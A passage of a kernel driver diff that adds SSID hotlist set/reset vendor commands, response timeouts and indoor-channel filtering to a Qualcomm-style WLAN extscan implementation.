(!tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr channel failed")); - goto fail; - } - pReqMsg->ap[i].channel = nla_get_u32( - tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL]); - hddLog(VOS_TRACE_LEVEL_INFO, - FL("Channel (%u)"), pReqMsg->ap[i].channel); i++; } + + context = &pHddCtx->ext_scan_context; + spin_lock(&hdd_context_lock); + INIT_COMPLETION(context->response_event); + context->request_id = request_id = pReqMsg->requestId; + spin_unlock(&hdd_context_lock); + status = sme_SetBssHotlist(pHddCtx->hHal, pReqMsg); if (!HAL_STATUS_SUCCESS(status)) { hddLog(VOS_TRACE_LEVEL_ERROR, @@ -3559,9 +3820,25 @@ static int __wlan_hdd_cfg80211_extscan_set_bssid_hotlist(struct wiphy *wiphy, return -EINVAL; } + /* request was sent -- wait for the response */ + rc = wait_for_completion_timeout(&context->response_event, + msecs_to_jiffies(WLAN_WAIT_TIME_EXTSCAN)); + + if (!rc) { + hddLog(LOGE, FL("sme_SetBssHotlist timed out")); + retval = -ETIMEDOUT; + } else { + spin_lock(&hdd_context_lock); + if (context->request_id == request_id) + retval = context->response_status; + else + retval = -EINVAL; + spin_unlock(&hdd_context_lock); + } + vos_mem_free(pReqMsg); EXIT(); - return 0; + return retval; fail: vos_mem_free(pReqMsg); @@ -3582,182 +3859,356 @@ static int wlan_hdd_cfg80211_extscan_set_bssid_hotlist(struct wiphy *wiphy, return ret; } -static int __wlan_hdd_cfg80211_extscan_set_significant_change(struct wiphy *wiphy, - struct wireless_dev *wdev, - const void *data, int dataLen) +/* + * define short names for the global vendor params + * used by wlan_hdd_cfg80211_extscan_set_ssid_hotlist() + */ +#define PARAM_MAX \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX +#define PARAM_REQUEST_ID \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID +#define PARAMS_LOST_SSID_SAMPLE_SIZE \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE +#define PARAMS_NUM_SSID \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID +#define THRESHOLD_PARAM \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM +#define PARAM_SSID \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID +#define PARAM_BAND \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND +#define PARAM_RSSI_LOW \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW +#define PARAM_RSSI_HIGH \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH + +/** + * __wlan_hdd_cfg80211_extscan_set_ssid_hotlist() - set ssid hot list + * @wiphy: Pointer to wireless phy + * @wdev: Pointer to wireless device + * @data: Pointer to data + * @data_len: Data length + * + * Return: 0 on success, negative errno on failure + */ +static int +__wlan_hdd_cfg80211_extscan_set_ssid_hotlist(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) { - tpSirEXTScanSetSignificantChangeReqParams pReqMsg = NULL; - struct net_device *dev = wdev->netdev; - hdd_adapter_t *pAdapter = WLAN_HDD_GET_PRIV_PTR(dev); - hdd_context_t *pHddCtx = wiphy_priv(wiphy); - struct nlattr - *tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; - struct nlattr - *tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; - struct nlattr *apTh; + tSirEXTScanSetSsidHotListReqParams *request; + struct net_device *dev = wdev->netdev; + hdd_adapter_t *adapter = WLAN_HDD_GET_PRIV_PTR(dev); + hdd_context_t *hdd_ctx = wiphy_priv(wiphy); + struct nlattr *tb[PARAM_MAX + 1]; + struct nlattr *tb2[PARAM_MAX + 1]; + struct nlattr *ssids; + struct hdd_ext_scan_context *context; + uint32_t request_id; + char ssid_string[SIR_MAC_MAX_SSID_LENGTH + 1] = {'\0'}; + int ssid_len; + int ssid_length; eHalStatus status; - int i = 0; - int rem; + int i, rem, retval; + unsigned long rc; ENTER(); - status = wlan_hdd_validate_context(pHddCtx); - if (0 != status) - { + if (VOS_FTM_MODE == hdd_get_conparam()) { + hddLog(LOGE, FL("Command not allowed in FTM mode")); + return -EINVAL; + } + + retval = wlan_hdd_validate_context(hdd_ctx); + if (0 != retval) { + hddLog(LOGE, FL("HDD context is not valid")); return -EINVAL; } + /* check the EXTScan Capability */ - if ( (TRUE != pHddCtx->cfg_ini->fEnableEXTScan) || - (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN))) + if ( (TRUE != hdd_ctx->cfg_ini->fEnableEXTScan) || + (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN)) || + (TRUE != sme_IsFeatureSupportedByFW(EXT_SCAN_ENHANCED))) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("EXTScan not enabled/supported by Firmware")); return -EINVAL; } - if (nla_parse(tb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX, - data, dataLen, - wlan_hdd_extscan_config_policy)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("Invalid ATTR")); + if (nla_parse(tb, PARAM_MAX, + data, data_len, + wlan_hdd_extscan_config_policy)) { + hddLog(LOGE, FL("Invalid ATTR")); return -EINVAL; } - /* Parse and fetch request Id */ - if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr request id failed")); - return -EINVAL; - } - pReqMsg = (tpSirEXTScanSetSignificantChangeReqParams) - vos_mem_malloc(sizeof(*pReqMsg)); - if (!pReqMsg) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("vos_mem_malloc failed")); - return -ENOMEM; + request = vos_mem_malloc(sizeof(*request)); + if (!request) { + hddLog(LOGE, FL("vos_mem_malloc failed")); + return -ENOMEM; } - - - pReqMsg->requestId = nla_get_u32( - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("Req Id (%d)"), pReqMsg->requestId); - - /* Parse and fetch RSSI sample size */ - if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE]) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr RSSI sample size failed")); + /* Parse and fetch request Id */ + if (!tb[PARAM_REQUEST_ID]) { + hddLog(LOGE, FL("attr request id failed")); goto fail; } - pReqMsg->rssiSampleSize = nla_get_u32( - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE]); - hddLog(VOS_TRACE_LEVEL_INFO, - FL("RSSI sample size (%u)"), pReqMsg->rssiSampleSize); - /* Parse and fetch lost AP sample size */ - if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE]) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr lost AP sample size failed")); - goto fail; - } - pReqMsg->lostApSampleSize = nla_get_u32( - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE]); - hddLog(VOS_TRACE_LEVEL_INFO, - FL("Lost AP sample size (%u)"), pReqMsg->lostApSampleSize); - /* Parse and fetch minimum Breaching */ - if (!tb - [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr minBreaching failed")); + request->request_id = nla_get_u32(tb[PARAM_REQUEST_ID]); + hddLog(LOG1, FL("Request Id %d"), request->request_id); + + /* Parse and fetch lost SSID sample size */ + if (!tb[PARAMS_LOST_SSID_SAMPLE_SIZE]) { + hddLog(LOGE, FL("attr number of Ssid failed")); goto fail; } - pReqMsg->minBreaching = nla_get_u32( - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING]); - hddLog(VOS_TRACE_LEVEL_INFO, FL(" Breaching (%d)"), pReqMsg->minBreaching); + request->lost_ssid_sample_size = + nla_get_u32(tb[PARAMS_LOST_SSID_SAMPLE_SIZE]); + hddLog(LOG1, FL("Lost SSID Sample Size %d"), + request->lost_ssid_sample_size); - /* Parse and fetch number of APs */ - if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr number of AP failed")); + /* Parse and fetch number of hotlist SSID */ + if (!tb[PARAMS_NUM_SSID]) { + hddLog(LOGE, FL("attr number of Ssid failed")); goto fail; } - pReqMsg->numAp = nla_get_u32( - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("Number of AP (%d)"), pReqMsg->numAp); + request->ssid_count = nla_get_u32(tb[PARAMS_NUM_SSID]); + hddLog(LOG1, FL("Number of SSID %d"), request->ssid_count); - pReqMsg->sessionId = pAdapter->sessionId; - hddLog(VOS_TRACE_LEVEL_INFO, FL("Session Id (%d)"), pReqMsg->sessionId); + request->session_id = adapter->sessionId; + hddLog(LOG1, FL("Session Id (%d)"), request->session_id); - nla_for_each_nested(apTh, - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM], rem) { - if(nla_parse(tb2, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX, - nla_data(apTh), nla_len(apTh), - NULL)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla_parse failed")); + i = 0; + nla_for_each_nested(ssids, tb[THRESHOLD_PARAM], rem) { + if (i >= WLAN_EXTSCAN_MAX_HOTLIST_SSIDS) { + hddLog(LOGE, + FL("Too Many SSIDs, %d exceeds %d"), + i, WLAN_EXTSCAN_MAX_HOTLIST_SSIDS); + break; + } + if (nla_parse(tb2, PARAM_MAX, + nla_data(ssids), nla_len(ssids), + wlan_hdd_extscan_config_policy)) { + hddLog(LOGE, FL("nla_parse failed")); goto fail; } - /* Parse and fetch MAC address */ - if (!tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_BSSID]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr mac address failed")); + /* Parse and fetch SSID */ + if (!tb2[PARAM_SSID]) { + hddLog(LOGE, FL("attr ssid failed")); goto fail; } - memcpy(pReqMsg->ap[i].bssid, nla_data( - tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_BSSID]), - sizeof(tSirMacAddr)); + ssid_length = nla_strlcpy(ssid_string, tb2[PARAM_SSID], + sizeof(ssid_string)); + hddLog(LOG1, FL("SSID %s"), + ssid_string); + ssid_len = strlen(ssid_string); + if (ssid_length > SIR_MAC_MAX_SSID_LENGTH) { + hddLog(LOGE, FL("Invalid ssid length")); + goto fail; + } + memcpy(request->ssid[i].ssid.ssId, ssid_string, ssid_len); + request->ssid[i].ssid.length = ssid_len; + request->ssid[i].ssid.ssId[ssid_len] = '\0'; + hddLog(LOG1, FL("After copying SSID %s"), + request->ssid[i].ssid.ssId); + hddLog(LOG1, FL("After copying length: %d"), + ssid_len); /* Parse and fetch low RSSI */ - if (!tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr low RSSI failed")); + if (!tb2[PARAM_BAND]) { + hddLog(LOGE, FL("attr band failed")); goto fail; } - pReqMsg->ap[i].low = nla_get_s32( - tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("RSSI low (%d)"), pReqMsg->ap[i].low); + request->ssid[i].band = nla_get_u8(tb2[PARAM_BAND]); + hddLog(LOG1, FL("band %d"), request->ssid[i].band); - /* Parse and fetch high RSSI */ - if (!tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr high RSSI failed")); + /* Parse and fetch low RSSI */ + if (!tb2[PARAM_RSSI_LOW]) { + hddLog(LOGE, FL("attr low RSSI failed")); goto fail; } - pReqMsg->ap[i].high = nla_get_s32( - tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH]); - hddLog(VOS_TRACE_LEVEL_INFO, - FL("RSSI High (%d)"), pReqMsg->ap[i].high); + request->ssid[i].rssi_low = nla_get_s32(tb2[PARAM_RSSI_LOW]); + hddLog(LOG1, FL("RSSI low %d"), request->ssid[i].rssi_low); - /* Parse and fetch channel */ - if (!tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr channel failed")); + /* Parse and fetch high RSSI */ + if (!tb2[PARAM_RSSI_HIGH]) { + hddLog(LOGE, FL("attr high RSSI failed")); goto fail; } - pReqMsg->ap[i].channel = nla_get_u32( - tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL]); - hddLog(VOS_TRACE_LEVEL_INFO, - FL("Channel (%u)"), pReqMsg->ap[i].channel); + request->ssid[i].rssi_high = nla_get_u32(tb2[PARAM_RSSI_HIGH]); + hddLog(LOG1, FL("RSSI high %d"), request->ssid[i].rssi_high); i++; } - status = sme_SetSignificantChange(pHddCtx->hHal, pReqMsg); + context = &hdd_ctx->ext_scan_context; + spin_lock(&hdd_context_lock); + INIT_COMPLETION(context->response_event); + context->request_id = request_id = request->request_id; + spin_unlock(&hdd_context_lock); + + status = sme_set_ssid_hotlist(hdd_ctx->hHal, request); if (!HAL_STATUS_SUCCESS(status)) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("sme_SetSignificantChange failed(err=%d)"), status); - vos_mem_free(pReqMsg); - return -EINVAL; + hddLog(LOGE, + FL("sme_set_ssid_hotlist failed(err=%d)"), status); + goto fail; + } + + vos_mem_free(request); + + /* request was sent -- wait for the response */ + rc = wait_for_completion_timeout(&context->response_event, + msecs_to_jiffies + (WLAN_WAIT_TIME_EXTSCAN)); + if (!rc) { + hddLog(LOGE, FL("sme_set_ssid_hotlist timed out")); + retval = -ETIMEDOUT; + } else { + spin_lock(&hdd_context_lock); + if (context->request_id == request_id) + retval = context->response_status; + else + retval = -EINVAL; + spin_unlock(&hdd_context_lock); } - vos_mem_free(pReqMsg); - EXIT(); - return 0; + + return retval; fail: - vos_mem_free(pReqMsg); + vos_mem_free(request); return -EINVAL; } -static int wlan_hdd_cfg80211_extscan_set_significant_change(struct wiphy *wiphy, +/* + * done with short names for the global vendor params + * used by wlan_hdd_cfg80211_extscan_set_ssid_hotlist() + */ +#undef PARAM_MAX +#undef PARAM_REQUEST_ID +#undef PARAMS_NUM_SSID +#undef THRESHOLD_PARAM +#undef PARAM_SSID +#undef PARAM_BAND +#undef PARAM_RSSI_LOW +#undef PARAM_RSSI_HIGH + +static int wlan_hdd_cfg80211_extscan_set_ssid_hotlist(struct wiphy *wiphy, struct wireless_dev *wdev, const void *data, int dataLen) { - int ret = 0; + int ret = 0; + + vos_ssr_protect(__func__); + ret = __wlan_hdd_cfg80211_extscan_set_ssid_hotlist(wiphy, wdev, data, + dataLen); + vos_ssr_unprotect(__func__); + + return ret; +} + +static int +__wlan_hdd_cfg80211_extscan_reset_ssid_hotlist(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + tSirEXTScanResetSsidHotlistReqParams request; + struct net_device *dev = wdev->netdev; + hdd_adapter_t *adapter = WLAN_HDD_GET_PRIV_PTR(dev); + hdd_context_t *hdd_ctx = wiphy_priv(wiphy); + struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; + struct hdd_ext_scan_context *context; + uint32_t request_id; + eHalStatus status; + int retval; + unsigned long rc; + + ENTER(); + + if (VOS_FTM_MODE == hdd_get_conparam()) { + hddLog(LOGE, FL("Command not allowed in FTM mode")); + return -EINVAL; + } + + retval = wlan_hdd_validate_context(hdd_ctx); + if (0 != retval) { + hddLog(LOGE, FL("HDD context is not valid")); + return -EINVAL; + } + + /* check the EXTScan Capability */ + if ( (TRUE != hdd_ctx->cfg_ini->fEnableEXTScan) || + (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN)) || + (TRUE != sme_IsFeatureSupportedByFW(EXT_SCAN_ENHANCED))) + { + hddLog(LOGE, + FL("EXTScan not enabled/supported by Firmware")); + return -EINVAL; + } + + if (nla_parse(tb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX, + data, data_len, + wlan_hdd_extscan_config_policy)) { + hddLog(LOGE, FL("Invalid ATTR")); + return -EINVAL; + } + + /* Parse and fetch request Id */ + if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID]) { + hddLog(LOGE, FL("attr request id failed")); + return -EINVAL; + } + + request.requestId = nla_get_u32( + tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID]); + request.sessionId = adapter->sessionId; + hddLog(LOG1, FL("Request Id %d Session Id %d"), request.requestId, + request.sessionId); + + context = &hdd_ctx->ext_scan_context; + spin_lock(&hdd_context_lock); + INIT_COMPLETION(context->response_event); + context->request_id = request_id = request.requestId; + spin_unlock(&hdd_context_lock); + + status = sme_reset_ssid_hotlist(hdd_ctx->hHal, &request); + if (!HAL_STATUS_SUCCESS(status)) { + hddLog(LOGE, + FL("sme_reset_ssid_hotlist failed(err=%d)"), status); + return -EINVAL; + } + + /* request was sent -- wait for the response */ + rc = wait_for_completion_timeout(&context->response_event, + msecs_to_jiffies + (WLAN_WAIT_TIME_EXTSCAN)); + if (!rc) { + hddLog(LOGE, FL("sme_reset_ssid_hotlist timed out")); + retval = -ETIMEDOUT; + } else { + spin_lock(&hdd_context_lock); + if (context->request_id == request_id) + retval = context->response_status; + else + retval = -EINVAL; + spin_unlock(&hdd_context_lock); + } + + return retval; +} + +static int +wlan_hdd_cfg80211_extscan_reset_ssid_hotlist(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + int ret; vos_ssr_protect(__func__); - ret = __wlan_hdd_cfg80211_extscan_set_significant_change(wiphy, wdev, data, - dataLen); + ret = __wlan_hdd_cfg80211_extscan_reset_ssid_hotlist(wiphy, wdev, + data, data_len); vos_ssr_unprotect(__func__); return ret; @@ -3767,16 +4218,20 @@ static int __wlan_hdd_cfg80211_extscan_get_valid_channels(struct wiphy *wiphy, struct wireless_dev *wdev, const void *data, int dataLen) { - hdd_context_t *pHddCtx = wiphy_priv(wiphy); - tANI_U32 ChannelList[WNI_CFG_VALID_CHANNEL_LIST_LEN] = {0}; - tANI_U8 numChannels = 0; + hdd_context_t *pHddCtx = wiphy_priv(wiphy); + struct net_device *dev = wdev->netdev; + hdd_adapter_t *pAdapter = WLAN_HDD_GET_PRIV_PTR(dev); + uint32_t chan_list[WNI_CFG_VALID_CHANNEL_LIST_LEN] = {0}; + uint8_t num_channels = 0; + uint8_t num_chan_new = 0; + uint8_t buf[256] = {0}; struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; - tANI_U32 requestId; + tANI_U32 requestId, maxChannels; tWifiBand wifiBand; eHalStatus status; struct sk_buff *replySkb; - tANI_U8 i; - int ret; + tANI_U8 i,j,k; + int ret,len = 0;; ENTER(); @@ -3812,20 +4267,54 @@ static int __wlan_hdd_cfg80211_extscan_get_valid_channels(struct wiphy *wiphy, tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND]); hddLog(VOS_TRACE_LEVEL_INFO, FL("Wifi band (%d)"), wifiBand); + /* Parse and fetch max channels */ + if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS]) + { + hddLog(LOGE, FL("attr max channels failed")); + return -EINVAL; + } + maxChannels = nla_get_u32( + tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS]); + hddLog(VOS_TRACE_LEVEL_INFO, FL("Max channels %d"), maxChannels); + status = sme_GetValidChannelsByBand((tHalHandle)(pHddCtx->hHal), - wifiBand, ChannelList, - &numChannels); + wifiBand, chan_list, + &num_channels); if (eHAL_STATUS_SUCCESS != status) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("sme_GetValidChannelsByBand failed (err=%d)"), status); return -EINVAL; } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Number of channels (%d)"), numChannels); - for (i = 0; i < numChannels; i++) - hddLog(VOS_TRACE_LEVEL_INFO, "Channel: %u ", ChannelList[i]); + + num_channels = VOS_MIN(num_channels, maxChannels); + num_chan_new = num_channels; + /* remove the indoor only channels if iface is SAP */ + if (WLAN_HDD_SOFTAP == pAdapter->device_mode) + { + num_chan_new = 0; + for (i = 0; i < num_channels; i++) + for (j = 0; j < IEEE80211_NUM_BANDS; j++) { + if (wiphy->bands[j] == NULL) + continue; + for (k = 0; k < wiphy->bands[j]->n_channels; k++) { + if ((chan_list[i] == + wiphy->bands[j]->channels[k].center_freq) && + (!(wiphy->bands[j]->channels[k].flags & + IEEE80211_CHAN_INDOOR_ONLY))) { + chan_list[num_chan_new] = chan_list[i]; + num_chan_new++; + } + } + } + } + + hddLog(LOG1, FL("Number of channels: %d"), num_chan_new); + for (i = 0; i < num_chan_new; i++) + len += scnprintf(buf + len, sizeof(buf) - len, "%u ", chan_list[i]); + hddLog(LOG1, "Channels: %s", buf); replySkb = cfg80211_vendor_cmd_alloc_reply_skb(wiphy, sizeof(u32) + - sizeof(u32) * numChannels + + sizeof(u32) * num_chan_new + NLMSG_HDRLEN); if (!replySkb) { @@ -3835,9 +4324,9 @@ static int __wlan_hdd_cfg80211_extscan_get_valid_channels(struct wiphy *wiphy, } if (nla_put_u32(replySkb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_CHANNELS, - numChannels) || + num_chan_new) || nla_put(replySkb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CHANNELS, - sizeof(u32) * numChannels, ChannelList)) { + sizeof(u32) * num_chan_new, chan_list)) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla put fail")); kfree_skb(replySkb); @@ -3864,52 +4353,308 @@ static int wlan_hdd_cfg80211_extscan_get_valid_channels(struct wiphy *wiphy, return ret; } -static int __wlan_hdd_cfg80211_extscan_start(struct wiphy *wiphy, - struct wireless_dev *wdev, - const void *data, int dataLen) +static int hdd_extscan_start_fill_bucket_channel_spec( + hdd_context_t *pHddCtx, + tpSirEXTScanStartReqParams pReqMsg, + struct nlattr **tb) { - tpSirEXTScanStartReqParams pReqMsg = NULL; - struct net_device *dev = wdev->netdev; - hdd_adapter_t *pAdapter = WLAN_HDD_GET_PRIV_PTR(dev); - hdd_context_t *pHddCtx = wiphy_priv(wiphy); - struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; - struct nlattr *bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; - struct nlattr *channel[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; + struct nlattr *bucket[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; + struct nlattr *channel[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; struct nlattr *buckets; struct nlattr *channels; - int rem1; - int rem2; + int rem1, rem2; eHalStatus status; - tANI_U32 j = 0, index = 0; + tANI_U8 bktIndex, j, numChannels; + tANI_U32 chanList[WNI_CFG_VALID_CHANNEL_LIST_LEN] = {0}; + tANI_U32 passive_max_chn_time, active_max_chn_time; - ENTER(); + bktIndex = 0; - status = wlan_hdd_validate_context(pHddCtx); - if (0 != status) - { - return -EINVAL; - } - /* check the EXTScan Capability */ - if ( (TRUE != pHddCtx->cfg_ini->fEnableEXTScan) || - (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN))) - { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("EXTScan not enabled/supported by Firmware")); - return -EINVAL; - } + nla_for_each_nested(buckets, + tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC], rem1) { + if (nla_parse(bucket, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX, + nla_data(buckets), nla_len(buckets), NULL)) { + hddLog(LOGE, FL("nla_parse failed")); + return -EINVAL; + } - if (nla_parse(tb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX, - data, dataLen, - wlan_hdd_extscan_config_policy)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("Invalid ATTR")); - return -EINVAL; - } + /* Parse and fetch bucket spec */ + if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX]) { + hddLog(LOGE, FL("attr bucket index failed")); + return -EINVAL; + } + pReqMsg->buckets[bktIndex].bucket = nla_get_u8( + bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX]); + hddLog(LOG1, FL("Bucket spec Index %d"), + pReqMsg->buckets[bktIndex].bucket); - /* Parse and fetch request Id */ - if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr request id failed")); - return -EINVAL; - } + /* Parse and fetch wifi band */ + if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND]) { + hddLog(LOGE, FL("attr wifi band failed")); + return -EINVAL; + } + pReqMsg->buckets[bktIndex].band = nla_get_u8( + bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND]); + hddLog(LOG1, FL("Wifi band %d"), + pReqMsg->buckets[bktIndex].band); + + /* Parse and fetch period */ + if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD]) { + hddLog(LOGE, FL("attr period failed")); + return -EINVAL; + } + pReqMsg->buckets[bktIndex].period = nla_get_u32( + bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD]); + hddLog(LOG1, FL("period %d"), + pReqMsg->buckets[bktIndex].period); + + /* Parse and fetch report events */ + if (!bucket[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS]) { + hddLog(LOGE, FL("attr report events failed")); + return -EINVAL; + } + pReqMsg->buckets[bktIndex].reportEvents = nla_get_u8( + bucket[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS]); + hddLog(LOG1, FL("report events %d"), + pReqMsg->buckets[bktIndex].reportEvents); + + /* Parse and fetch max period */ + if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD]) { + hddLog(LOGE, FL("attr max period failed")); + return -EINVAL; + } + pReqMsg->buckets[bktIndex].max_period = nla_get_u32( + bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD]); + hddLog(LOG1, FL("max period %u"), + pReqMsg->buckets[bktIndex].max_period); + + /* Parse and fetch exponent */ + if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_EXPONENT]) { + hddLog(LOGE, FL("attr exponent failed")); + return -EINVAL; + } + pReqMsg->buckets[bktIndex].exponent = nla_get_u32( + bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_EXPONENT]); + hddLog(LOG1, FL("exponent %u"), + pReqMsg->buckets[bktIndex].exponent); + + /* Parse and fetch step count */ + if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT]) { + hddLog(LOGE, FL("attr step count failed")); + return -EINVAL; + } + pReqMsg->buckets[bktIndex].step_count = nla_get_u32( + bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT]); + 